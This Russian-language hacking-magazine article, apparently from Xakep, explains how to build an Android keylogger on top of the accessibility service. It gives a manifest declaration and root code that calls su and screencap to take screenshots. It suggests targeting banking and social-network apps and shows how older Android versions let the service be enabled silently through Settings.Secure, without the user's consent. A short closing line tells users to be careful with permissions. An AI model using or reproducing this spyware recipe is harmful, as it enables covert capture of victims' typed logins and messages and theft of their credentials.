С версии 1.6 в Android существует «сервис специальных возможностей». Нетрудно догадаться, с какой целью он был создан, но нас, как людей, стремящихся как раз к неограниченным возможностям, этот сервис интересует с несколько другой стороны. Сегодня мы будем писать программу, которая позволит следить за вводом в других приложениях!

Зачем нужен сервис специальных возможностей?

Он позволяет расширять интерфейс обычных приложений, чтобы помочь пользователям с ограниченными возможностями или тем, кто может временно оказаться не в состоянии в полной мере взаимодействовать с устройством. Например, юзерам за рулем автомобиля, ухаживающим за маленьким ребенком или находящимся на очень шумной вечеринке могут потребоваться дополнительные или альтернативные интерфейсы обратной связи.

В Android есть стандартный сервис спецвозможностей — TalkBack. При необходимости разработчики могут реализовать и свои собственные. Такие сервисы стало возможно писать с незапамятных времен (Android 1.6, API уровень 4), а с Android 4.0 (API уровня 14) они получили значительные улучшения. Через «библиотеку поддержки» эти улучшения реализованы и для устройств с API версией ниже 14.

Данный сервис позволяет просмотреть описание всех окон, работающих приложений и получить набранные пользователем данные (кроме вводимых паролей; согласись, что логинов и текстовых сообщений тоже во многих случаях достаточно).

В этой статье я расскажу, как максимально просто реализовать сервис для перехвата клавиатурного ввода.

WWW


Хороший пример сервиса ты можешь найти здесь

Для этого требуется создать наследник AccessibilityService . В методе подключения onServiceConnected нам нужно задать фильтр событий (класс AccessibilityServiceInfo) , которые будет слушать сервис. А в методе onAccessibilityEvent обрабатывать эти события.
В манифесте приложения обязательно следует добавить строчки описания сервиса:

    <service
       android:name=".KeyRecordService"
       android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
       <intent-filter>
           <action android:name="android.accessibilityservice.AccessibilityService" />
       </intent-filter>
    </service>

Если все сделано верно, то в логе можно увидеть что-то вроде этого:

onAccessibilityEvent: [type] TYPE_VIEW_TEXT_CHANGED [class]  android.widget.EditText [package] com.android.chrome [time] 113326642 [text] xakep.ru

Класс AccessibilityServiceInfo позволяет выставить фильтры для определенных приложений (кто сказал «мобильных банков» или «клиентов социальных сетей»?). По нужному нам событию можно делать скриншоты.
Совсем просто это делается на рутованном устройстве, а если рута нет, то нужно искать сторонние библиотеки для получения скриншотов из сервиса.
Пример кода получения скриншота из сервиса на рутованном устройстве:

Process sh = Runtime.getRuntime().exec("su", null, null);

OutputStream os = sh.getOutputStream();
os.write(("/system/bin/screencap -p " + "/sdcard/img.png").getBytes("ASCII"));
os.flush();

os.close();
sh.waitFor();

// Then read img.png as bitmap and convert it jpg as follows

Bitmap screen = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory() + File.separator + "img.png");

// My code for saving
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
screen.compress(Bitmap.CompressFormat.JPEG, 15, bytes);

// You can create a new file name «test.jpg» in sdcard folder.

File f = new File(Environment.getExternalStorageDirectory() + File.separator + "test.jpg");
f.createNewFile();
// Write the bytes in file
FileOutputStream fo = new FileOutputStream(f);
fo.write(bytes.toByteArray());
// Remember close de FileOutput
fo.close();

Для работы сервису требуется отдельное разрешение, пользователь дает его в разделе настроек «Спец. возможности -> Службы».

Настройки доступа спецсервисов
Настройки доступа спецсервисов

Запускаем настройки программно:

Intent intent = new Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivityForResult(intent, 0);
Запрос доступа к сервису спецвозможностей
Запрос доступа к сервису спецвозможностей

В старых версиях Android (которых еще довольно много в дикой природе) пользователя можно было и не спрашивать. Такие права можно было задать программно:

Settings.Secure.putString(getContentResolver(),
Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES, "pkgname/classname");
Settings.Secure.putString(getContentResolver(),
Settings.Secure.ACCESSIBILITY_ENABLED, "1");

Разрешения для манифеста:

    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />

где pkgname — имя твоего пакета и classname — имя класса сервиса. В новых версиях ОС без согласия пользователя не обойтись.

Заключение

С точки зрения программиста, Accessibility Services позволяет немного расширить узкие рамки песочницы для взаимодействия с другими приложениями. Пользователя можно просто попросить дать доступ к спецвозможностям и таким образом получить доступ к данным других программ. Также стоит отнестись внимательно к сервису TalkBack, который озвучивает все элементы экрана, беря описание из свойства contentDescription. Компания Google дает приоритет в поисковой выдаче маркета тем приложениям, которые более оптимизированы для TalkBack.

Пользователям же, как всегда, советуем три раза подумать, устанавливать ли вообще новое приложение, а если и устанавливать, то какие права ему дать. В последней версии Android 6.0 это можно делать более гибко.

2 комментария

  1. Аватар

    nitob

    03.02.2017 в 10:12

  2. Аватар

    pppetya123

    22.12.2018 в 14:48

Оставить мнение